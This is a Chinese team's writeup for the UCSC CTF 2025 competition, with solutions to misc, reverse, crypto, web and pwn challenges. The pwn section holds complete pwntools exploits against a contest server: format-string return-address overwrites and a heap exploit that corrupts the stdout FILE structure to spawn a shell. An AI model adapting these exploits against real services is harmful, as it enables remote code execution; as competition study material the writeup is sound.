Featured image of post UCSC CTF 2025

UCSC CTF 2025

UKFC 2025 UCSC CTF(UCSC CTF 2025高校网络安全联合选拔赛) Writeup

UCSC CTF2025

  • 主办方: 国际关系学院网络空间安全学院、湖北大学网络空间安全学院
  • 比赛时间: 2025-04-20 09:00:00 至 2025-04-20 17:00:00

赛事简介

  • 2025高校网络安全联合选拔赛(UCSC CTF 2025)是专为全国高等院校新生量身定制的网络安全盛事,旨在激发新生对网络安全领域的兴趣,培养未来的安全专家;本次赛事由多所顶尖高校联合主办,参赛队伍将有机会在真实的网络安全挑战中展示自己的才华;比赛内容涵盖Web安全、二进制漏洞挖掘与利用等多个方面,通过积分排名的形式进行;赛事从设计到执行均实现了高度自主化,确保了比赛的专业性和公正性。
  • 本届赛事将吸引全国各地的优秀战队参加,不仅是一场技术能力的大比拼,更是对新生综合素质的一次全面检验。2025年高校新生网络安全竞赛期待您的参与,诚邀更多高校加入,共同构建更加安全的网络环境。请有意向的高校速与组委会联系,提交参赛申请,一同见证并参与这场意义非凡的技术较量。让我们携手共进,激发无限可能!

成绩

Misc

小套不是套 | 未解出

首先得到一张二维码和两个压缩包

二维码扫描有:

!@#QWE123987

但是只能解压 test.zip,得到一个伪加密的 mushroom.zip,解压得到一张蘑菇的照片,然而在 010editor 打开可以发现有 IDAT 之类的与 png 有关的信息,将其剪切出来,同时我们需要加上 png 文件头(89504E47),如图:

保存得到的是一张你的名字图片:

因为还有一个套.zip,所以而且它是真加密,所以我们需要从图片中找到解压密码(试过爆破了)

所以这里可能思路:

1.因为图片在随波逐流里面有提示后有文本隐写,并给出了额外的数据,所以可能是该数据可以被压缩为和 zip 包里面的文件 CRC 一样的包,然后进行明文攻击

2.图片隐写

three-ucsc | 解出

part1:

明显是 blindwatermask 工具的使用,这里出题人已经把工具放这里了。 java -jar BlindWatermark-v0.0.3.jar decode -f signwithflag.png flag.png

得到:

可以看到:

part1:8f02d3e7

part2:

1
0100110001010011001101000111010101001100011010010011010001110100010010010100001100110000011101010100110001010011001101000110011101001100011010010100000101110100010011000101001100110000011101010100110001101001010000010111010001001100010100110011000001110100010011000110100101000001011101000100110001101001001101000111010101001100011010010011000001100111010011000110100100110100011101010100110001101001001100000110011101001100010100110011010001110101010010010100001100110000011101010100110001101001001101000111010101001001010000110011000001110101010011000110100100110100011001110100110001010011001101000111010101001100011010010011010001110100010010010100001100110000011101000100110001010011001101000111010101001001010000110011010001110101010011000110100100110000011101000100100101000011001100000111010001001100010100110011000001110100010010010100001100110100011001110100110001010011001101000111010101001100011010010011010001110100

转为 ASCII 为:

LS4uLi4tIC0uLS4gLiAtLS0uLiAtLS0tLiAtLi4uLi0gLi4uLi0gLS4uIC0uLi4uIC0uLi4gLS4uLi4tIC0tLS4uIC4uLi0tIC0tLS0tIC4gLS4uLi4t

base64 解码得到:

-….- -.-. . —.. —-. -….- ….- -.. -…. -… -….- —.. …– —– . -….-

摩斯解码得到:

-ce89-4d6b-830e-

part3:一个真加密的压缩包

但是有个 pass.pcapng,流量包一把梭得到一些密码:

解压密码是 thinkbell

解压得到 part3.txt,内容是 5d0cb5695077

即为:

flag{8f02d3e7-ce89-4d6b-830e-5d0cb5695077}

No.shArk | 未解出

一个流量包,直接一把梭得到:

同时在流量包里面也发现了:

keyis:keykeyishere

同时 snow.doc 文档介绍了 snow - 用于文本文件中隐藏信息的工具

用法:

snow [ -CQS ] [ -p 密码 ] [ -l 行长度 ] [ -f 文件 | -m 消息 ] [ 输入文件 [ 输出文件 ] ]

选项:

-C:隐藏数据时压缩数据,提取数据时解压缩数据。

-Q:安静模式。如果不设置,程序将报告诸如压缩百分比和已使用的可用存储空间量等统计信息。

-S:报告文本文件中可用于隐藏消息的大致空间量。考虑行长度,但忽略其他选项。

-p 密码:如果设置了此选项,数据将在隐藏时使用此密码加密,或在提取时解密。

-l 行长度:当添加空白字符时,snow 始终会生成短于此值的行。默认值为 80。

-f 消息文件:此文件的内容将被隐藏在输入文本文件中。

-m 消息字符串:此字符串的内容将被隐藏在输入文本文件中。注意,除非以某种方式在字符串中包含换行符,否则在提取消息时不会打印换行符。

根据 snow 隐写的特性,更加关注 html 文件(SNOW 隐写又被称为 HTML 隐写),流量包中在导出对象中找到:

打开后为:

尝试:

明显存在 3 位残余数据未解压,

USB-ucsc | 解出

USB 流量分析:

就是简单的键盘流量分析,用脚本提取数据也行,一把梭也行

即为 flag{ebdfea9b-3469-41c7-9070-d7833ecc6102}

pwn

Userlogin | 解出

  • 不用 root 函数,使用 supersecureuser 两次格式化字符串漏洞就可以 getshell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

#io = process("./pwwn")
io = remote("39.107.58.236",49151)
'''
io = gdb.debug("./pwwn",""" decompiler connect ida --host 192.168.241.85 --port 3662
                            b *0x4012B0
                            c""")
'''
key                         = b"supersecureuser"
io.sendlineafter(b"Password:",key)
payload                     = b"%10$p"
io.sendafter(b"thing",payload.ljust(0x20,b"\x00"))
io.recvuntil(b"0x")
stack_base                  = int(io.recvn(12),16)
success(f"stack_base        => {hex(stack_base)}")#0x7fffffffdf10
io.sendlineafter(b"Password:",key)
shell                       = 0x1262
ret_addr                    = stack_base - 0x78
payload2                    = b"%" + str(shell).encode() + b"c%9$hn"
io.sendafter(b"thing",payload2.ljust(0x18,b"\x00")+p64(ret_addr))

io.interactive()

BoFido | 解出

  • name 覆盖随机数种子为 0,依次输入最后执行后门函数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./BoFido")
io = remote("39.107.58.236",44295)
'''
io = gdb.debug("./BoFido",""" decompiler connect ida --host 192.168.241.85 --port 3662
                                b *0x4013a2
                                c""")
'''
io.sendafter(b"name:",b"\x11"*0x20+b"\x00"*5)

rand = process("./rand")

for i in range(10):
    rand.recvuntil(b"Now,rand_num is:")
    rand_num1                   = int(rand.recvuntil(b"\x0a")[:-1],10)
    rand.recvuntil(b"Now,rand_num is:")
    rand_num2                   = int(rand.recvuntil(b"\x0a")[:-1],10)
    rand.recvuntil(b"Now,rand_num is:")
    rand_num3                   = int(rand.recvuntil(b"\x0a")[:-1],10)
    success(f"rand_num          => {hex(rand_num1)}")
    success(f"rand_num          => {hex(rand_num2)}")
    success(f"rand_num          => {hex(rand_num3)}")
    io.sendafter(b"numbers:",str(rand_num1).encode()+b" ")
    io.send(str(rand_num2).encode()+b" ")
    io.send(str(rand_num3).encode()+b" ")

rand.close()

io.interactive()

疯狂复制 | 解出

  • 每个函数都没有对 idx 的下限检查
  • 同时 Page 的低位就是 stdout 的指针,利用 edit 函数改掉_IO_2_1_stdout_结构体实现 io_leak,得到 libc
  • 最后大改_IO_2_1_stdout_结构体,利用 puts 走这个链_IO_wfile_overflow -> _IO_wdoallocbuf -> system,其实是设置虚拟表的偏移,第一次尝试用 puts 触发 io 链,结构体改的乱七八糟,底子用的是 house_of_apple2 的,但是几乎是全改
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

io = process("./pwwn")
io = remote("39.107.58.236",40967)
'''
io = gdb.debug("./pwwn","""  decompiler connect ida --host 192.168.241.85 --port 3662
                            b *0x555555400c8f
                            c
                            """)
'''
libc                        = ELF("./libc.so.6")
def mune(choice):
    io.sendlineafter(b":",str(choice).encode())

def add(idx,size):
    mune(1)
    io.sendlineafter(b":",str(idx).encode())
    io.sendlineafter(b"ize",str(size).encode())

def edit(idx,content):
    mune(2)
    mune(idx)
    io.sendlineafter(b":",content)

def show(idx):
    mune(3)
    mune(idx)

def free(idx):
    mune(4)
    mune(idx)

add(0x1e,0x10)
edit(-4,p64(0xfbad1887)+p64(0)*3)
libc_base                   = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x3ed8b0
libc2                       = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x3eb780
success(f"libc_base         => {hex(libc_base)}")
success(f"libc2             => {hex(libc2)}")

add(-5,0x10)
add(0,0x60)
add(1,0x60)
'''
gdb.attach(io,"""decompiler connect ida --host 192.168.241.85 --port 3662
                    b *0x555555400bcb
                    c""")
'''
##########################################################################
#libc_base      =
#heap_base      =
io_list_all     = libc_base + libc.sym["_IO_list_all"]
io_wfile_jumps  = libc_base + libc.sym["_IO_wfile_jumps"]
#maybe request the off is num
fake_io_addr    = libc_base + libc.sym["_IO_2_1_stdout_"]
wide_date       = fake_io_addr + 0xe0 
flag            = wide_date
func            = libc_base + libc.sym["system"]
end             = fake_io_addr + 0xe0 + 0x150 + 0x8

fake_io_file = flat({

        0:      b"  sh",                              #_flag
        0x8:    p64(0),                #io_read_ptr
        0x10:   p64(1),                        #io_read_end   <----fd
        0x18:   p64(2),                        #io_read_base  <----bk
        0x20:   b"  sh",                      #io_write_base <----fd_n
        0x28:   p64(io_list_all - 0x20),        #io_write_ptr  <----tar_addr
        0x48:   0,                              #io_save_base
        0x88:   p64(libc_base+0x3eb000),                 #lock 
        0xa0:   p64(wide_date),                 #wide_date
        0xa8:   p64(fake_io_addr+8),
        0xc0:   p64(fake_io_addr+0x18),
        0xd8:   p64(io_wfile_jumps)             #vtable

        },filler=b"\x00",length = 0xe0)

wide_struct = flat({
                0:      b"\xff"*4,
        0x8:    p64(fake_io_addr+0x20),
        0x18:     p64(io_wfile_jumps-0x20),
        0x68:   p64(fake_io_addr+0xe0+0xe8),
        0xe0:   p64(wide_date+0xe8),            #wide_vtable
        0x150:  p64(func)                       ##              <----func
        },filler = b"\x00",length = 0x158)
##########################################################################

payload         = fake_io_file + wide_struct
edit(-4,payload)
#gdb.attach(io,"""decompiler connect ida --host 192.168.241.85 --port 3662""")

io.interactive()

Reverse

easy_re | 解出

主逻辑异或

1
2
3
data=b"n=<;:h2<'?8:?'9hl9'h:l>'2>>2>hk=>;:?"
for i in range(len(data)):
    print(chr(data[i]^10),end='')

flag{d7610b86-5205-3bf3-b0f4-84484ba74105}

simplere | 解出

魔改 UPX,特征字节码变了,CTF 改成 UPX 就可以工具脱

主逻辑一个异或一个加密

*136/100+1,一眼 base58 变表(wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M)

逆异或:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
data=[  0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33, 
  0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 
  0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 
  0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41, 
  0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60, 
  0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57, 0x00]
flag=[0]*100
for i in range(len(data)):
    flag[len(data)-i-1]=data[i]^(i+1)
for i in range(len(data)):
    print(chr(flag[i]),end='')
    ## ;mPWV7et2RTxobH5Tn8iqGSdFWc5vYzps1jHuynpvpfmsmxeL9K28H1L1xs

厨子:

flag{0ba878d9-8bb5-11ef-b419-a4b1c1c5a2d2}

EZ_debug | 解出

rc4 加密,给密文给 key 给参数……emmm 动调就有结果了

flag{709e9bdd-0858-9750-8c37-9b135b31f16d}

re_ez | 解出

程序要求 v0 == 3,可用数字为 -5,5,-1,1

输入:

感觉这个是用 opcode 的计算顺序得到的 v0=3,用-5 5 1 -1 经过加法得到的

还要满足这个不退出

同时 data[v0]不为 1

Data:

1
1,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1

根据这个找到就行了,当然这种短的 BFS 直接 deepseek 一把梭 😋

最短路径:+5, +5, +5, +1, +1, -5, -5, -5

索引数组[-5,5,-1,1]

然后找到对应索引逆向再求 md5 值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main(){
        char data[] = {+5, +5, +5, +1, +1, -5, -5, -5};
        char input[100];
        int len = strlen(data);
        for(int i=0;i<len;i++){
                if(data[i] == 5){
                        input[i] = 1;
                }
                if(data[i] == -5){
                        input[i] = 0;
                }
                if(data[i] == -1){
                        input[i] = 2;
                }
                if(data[i] == 1){
                        input[i] = 3;
                }
        } 
        for(int i=0;i<len;i++){
                input[i] = (input[i]^3)+32;
        }
        for(int i=0;i<len;i++){
                printf("%x",input[i]);
        }
}
1
2
3
4
5
6
7
8
9
import hashlib

hex_string = "2222222020232323"

byte_data = bytes.fromhex(hex_string)

md5_hash = hashlib.md5(byte_data).hexdigest()

print( md5_hash)

flag{c4eb11b0e0a3cbeed7df057deaec18aa}

我告诉你们一个事,你俩都记得,要求 md5 值别用赛博厨子

我早就发现这个厨子求 MD5 特别不准,用 py

厨子的 md5 有时候是对的有时候是错的……

Crypto

XR4 | 解出

很常规的 RC4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import base64
import random
import numpy as np

## 给定的矩阵
matrix = np.array([
    [1, 111, 38, 110, 95, 44],
    [11, 45, 58, 39, 84, 1],
    [116, 19, 113, 60, 91, 118],
    [33, 98, 38, 57, 10, 29],
    [68, 52, 119, 56, 43, 125],
    [32, 32, 7, 26, 41, 41]
])

transposed_matrix = matrix.T
data = transposed_matrix.flatten()

def init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box

def decrypt(cipher, box):
    res = []
    i = j = 0
    cipher_bytes = base64.b64decode(cipher)
    for s in cipher_bytes:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    return ''.join(res)

def random_num(seed_num):
    random.seed(seed_num)
    result = []
    for i in range(len(data)):
        result.append(chr(int(str(random.random() * 10000)[0:2]) ^ data[i]))
    return ''.join(result)

if __name__ == '__main__':
    ciphertext = "MjM184anvdA="
    key = "XR4"
    box = init_sbox(key)
    a = decrypt(ciphertext, box)
    seed_num = int(a)
    result = random_num(seed_num)
    print("解密结果:", result)
#c570ee41-8b09-11ef-ac4a-a4b1c1c5a2d2

essential-ucsc | 解出

就是两个 RSA,p q 相近分解 n

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
from tqdm import *
from sympy import *
import gmpy2

flag1=6624758244437183700228793390575387439910775985543869953485120951825790403986028668723069396276896827302706342862776605008038149721097476152863529945095435498809442643082504012461883786296234960634593997098236558840899107452647003306820097771301898479134315680273315445282673421302058215601162967617943836306076
flag2=204384474875628990804496315735508023717499220909413449050868658084284187670628949761107184746708810539920536825856744947995442111688188562682921193868294477052992835394998910706435735040133361347697720913541458302074252626700854595868437809272878960638744881154520946183933043843588964174947340240510756356766

number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683
number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947

a = gmpy2.isqrt(number2 // 325)

for delta in trange(-20, 20):
    aa = a + delta
    pp = nextprime(13 * aa)
    qq = prevprime(25 * aa)
    if pp * qq == number2:
        a = aa
        p = pp
        q = qq
        break
phi=(p-1)*(q-1)

d1 = pow(number1, -1, phi)
number3 = pow(flag1, d1, p*q)
m1=long_to_bytes(number3).decode()

e = 0xe18e//2
m2=(gmpy2.iroot(pow(flag2,pow(e,-1,phi),p*q),2)[0])
m2=long_to_bytes(m2).decode()

print(m1+m2)

flag{75811c6d95770d56092817b75f15df05}

MERGE_ECC | 解出

椭圆曲线算法

part1,直接爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from gmpy2 import *
from Crypto.Util.number import *
from tqdm import *

p = 8186762541745429544201163537921168767557829030115874801599552603320381728161132002130533050721684554609459754424458805702284922582219134865036743485620797
a = 1495420997701481377470828570661032998514190598989197201754979317255564287604311958150666812378959018880028977121896929545639701195491870774156958755735447
b = 5991466901412408757938889677965118882508317970919705053385317474407117921506012065861844241307270755999163280442524251782766457119443496954015171881396147
E = EllipticCurve(GF(p), [a, b])
P=E(6053058761132539206566092359337778642106843252217768817197593657660613775577674830119685211727923302909194735842939382758409841779476679807381619373546323 , 7059796954840479182074296506322819844555365317950589431690683736872390418673951275875742138479119268529134101923865062199776716582160225918885119415223226)

c0 = E(4408587937721811766304285221308758024881057826193901720202053016482471785595442728924925855745045433966244594468163087104593409425316538804577603801023861 , 5036207336371623412617556622231677184152618465739959524167001889273208946091746905245078901669335908442289383798546066844566618503786766455892065155724816)
c1 = E(2656427748146837510897512086140712942840881743356863380855689945832188909581954790770797146584513962618190767634822273749569907212145053676352384889228875 , 4010263650619965046904980178893999473955022015118149348183137418914551275841596653682626506158128955577872592363930977349664669161585732323838763793957500)
c2 = E(1836350123050832793309451054411760401335561429787905037706697802971381859410503854213212757333551949694177845513529651742217132039482986693213175074097638 , 1647556471109115097539227566131273446643532340029032358996281388864842086424490493200350147689138143951529796293632149050896423880108194903604646084656434)

'''
for i in trange(651860,2**20):
    point=i*P
    if point in [c1,c2,c0]:
        print(i)
        '''
n=[1008061,651602,943532]
part1=''.join([hex(i)[2:] for i in n])
print(part1)
#f61bd9f152e65ac

part2,曲线的阶和模 p 相等,Smart’s attack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

p =  839252355769732556552066312852886325703283133710701931092148932185749211043
a =  166868889451291853349533652847942310373752202024350091562181659031084638450
b =  168504858955716283284333002385667234985259576554000582655928538041193311381

E = EllipticCurve(GF(p), [a, b])
P =  E(547842233959736088159936218561804098153493246314301816190854370687622130932 , 259351987899983557442340376413545600148150183183773375317113786808135411950 )
Q =  E(52509027983019069214323702207915994504051708473855890224511139305828303028 , 520507172059483331872189759719244369795616990414416040196069632909579234481 )

part2=SmartAttack(P,Q,p)
print(part2)

flag{f61bd9f152e65ac-7895892011}

Ez_Calculate-ucsc | 解出-三血

这就是我们热血沸腾的组合技

背包密码体制加上 RSA

RSA, $e=2^{16},p\mod 4=3,q\mod4=3$ Rabin 密码超级加倍版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.Util.number import *
from tqdm import *
from sympy import *
from gmpy2 import *

pro1 = 24819077530766367166035941051823834496451802693325219476153953490742162231345380863781267094224914358021972805811737102184859249919313532073566493054398702269142565372985584818560322911207851760003915310535736092154713396343146403645986926080307669092998175883480679019195392639696872929250699367519967334248
pro2 = 20047847761237831029338089120460407946040166929398007572321747488189673799484690384806832406317298893135216999267808940360773991216254295946086409441877930687132524014042802810607804699235064733393301861594858928571425025486900981252230771735969897010173299098677357738890813870488373321839371734457780977243838253195895485537023584305192701526016
n = 86262122894918669428795269753754618836562727502569381672630582848166228286806362453183099819771689423205156909662196526762880078792845161061353312693752568577607175166060900619163231849790003982326663277243409696279313372337685740601191870965951317590823292785776887874472943335746122798330609540525922467021
c = 74962027356320017542746842438347279031419999636985213695851878703229715143667648659071242394028952959096683055640906478244974899784491598741415530787571499313545501736858104610426804890565497123850685161829628373760791083545457573498600656412030353579510452843445377415943924958414311373173951242344875240776
e = 65536

for k in range(1, 1000):
    ek= pow(e, k, n)
    tmp = (pro2 + pro1 * ek) % n
    g = int(gcd(tmp, n))
    if g != 1 and g != n:
        p = g
        q = n // g
        break

def rabin_decrypt(c, p, q):
    n = p * q
    if gcd(c, n) != 1:
        return []
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    _, yp, yq = gmpy2.gcdext(p, q)
    s1 = (yp * p * mq + yq * q * mp) % n
    s2 = (-yp * p * mq + yq * q * mp) % n
    s3 = (yp * p * mq - yq * q * mp) % n
    s4 = (-yp * p * mq - yq * q * mp) % n
  
    return sorted([s1 % n, (-s1) % n, s2 % n, (-s2) % n])

def recursive_rabin_decrypt(c, p, q, depth=3, candidates=None):
    if candidates is None:
        candidates = set()
    if depth <= 0:
        return candidates
    current_candidates = rabin_decrypt(c, p, q)
    for candidate in current_candidates:
        if candidate in candidates:
            continue
        candidates.add(candidate)
        recursive_rabin_decrypt(candidate, p, q, depth-1, candidates)
    return candidates

possible_ms = recursive_rabin_decrypt(c, p, q,316)
for i in possible_ms:
    try:
        print(long_to_bytes(i).decode())
    except:
        continue
  
b'CRYPTO_ALGORIT'

背包密码体制打算直接爆破了,毕竟空间也不算大,直接遍历所有的八位二进制数(0b00000000-0b11111111)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def backpack_decrypt(S_list, M, group_len):
    from itertools import product
    def find_combination(S, M):
        for combination in product([0, 1], repeat=len(M)):
            if sum(bit * m for bit, m in zip(combination, M)) == S:
                return combination
        return None
    bits = []
    for S in S_list:
        combination = find_combination(S, M)
        if combination is None:
            raise ValueError()
        bits.extend(combination)
    flag_bytes = bytearray()
    for i in range(0, len(bits), 8):
        byte_bits = bits[i:i + 8]
        byte = int("".join(map(str, byte_bits)), 2) 
        flag_bytes.append(byte)
    return bytes(flag_bytes)
M = [10294, 12213, 10071, 4359, 1310, 4376, 7622, 14783]
S_list = [13523, 32682, 38977, 44663, 43353, 31372, 17899, 17899, 44663, 16589, 40304, 25521, 31372]
group_len = 8
try:
    decrypted = backpack_decrypt(S_list, M, group_len)
    print("解密结果:", decrypted.decode("utf-8"))
except ValueError as e:
    print(e)
  
b'HMS_WELL_DONE'

flag{64f67374264b7621650b1de4dbc5f924}

Lunz | 未解出

又是 RSA,但是有了一些很特殊的东西,我是没查到这后面的加密是什么方式。(后来查了一下标题,LUNZ 貌似和这密码体系没有关系)

感觉可能要用格,有两个 e,对应的 d 未知,有一种格就是算这个的,但是又不太一样

https://ctf-wiki.org/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener/#_4

加密式子

$$ c\equiv m^e\pmod n $$$$ n=pq $$

n 未知,所以就要用下面的一串求出 p 和 q

$$ N=p^{Rod+2}q $$$$ \begin{cases}e_1d_1\equiv 1\pmod{p^{Rod}(q-1)(p-1)}\\ e_2d_2\equiv 1\pmod{p^{Rod}(q-1)(p-1)} \end{cases} $$

而 $p^{Rod}(q-1)(p-1)=\phi(p^{Rod+1}q)=\phi(\frac{N}{p})$,感觉有一些奇特的联系

Rod 为只有 5bit 的素数,可能的值只有 17,19,23,29,31,到时候爆破一下,Rod 就当已知了

N 已知,两个 e 已知,两个 d 之间比较相近,两个 e 之间也比较相近

Logos-ucsc | 未解出

太好了,是离散对数,没救了(

part1,实数的离散对数

连个模 n 都不给,先求模

$$ m_1m_2=m_3 $$$$ kn=c_1*c_2-c_3 $$
1
n=12678950975657299741597068411912062416064860044947808601914643744013304126427383015124254424611743563255955090464122259688914575568291283903299394351205692500871133501545531213799485768959306533230414644943482624700409916815759318739044018687973338648002804211522804066177661868100534535325735412249218310283015886278908741603922636130844503245613636493548724291249499974830056316859185616981333285839521223525116798814076692406285641401894824500197008400382785635909480872252432262141841000264287637746515381937883995916593910019661095765989048220216569126366442235246863172944976221290743542298269972228809424401801769662633772671719186693662002106484820857644985776465597319874967162438688474387497754296730464820382435506326614774763458148040539834576697984821453737194637363587735136007322668665970918790290243645898372232357604029104607102608143024457458750987754135722840754335947489288417170856530750123427202047782364216979182750690601240732694760124018983553163521760792016209336965606147608247167518675199176420761620913174080744534627902936051142166111466402551997069885468070937050584257171863360067262609635380320608633505446134439804513189525818985532978219967610683751460310798439035011903775497192826013515619261

part2,多项式的离散对数

part3,矩阵的离散对数

web

ezLaravel-ucsc | 解出

访问/public/index.php 显示 ctf,尝试 post 一下

是个 laravel 框架,且开启了调试模式。本来想着是框架可能存在的漏洞,但这个版本貌似没找到。

尝试 dirsearch

发现有 flag.php,直接访问

flag{4863e73e-3dbc-48fe-bd19-05bc6571fb45}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计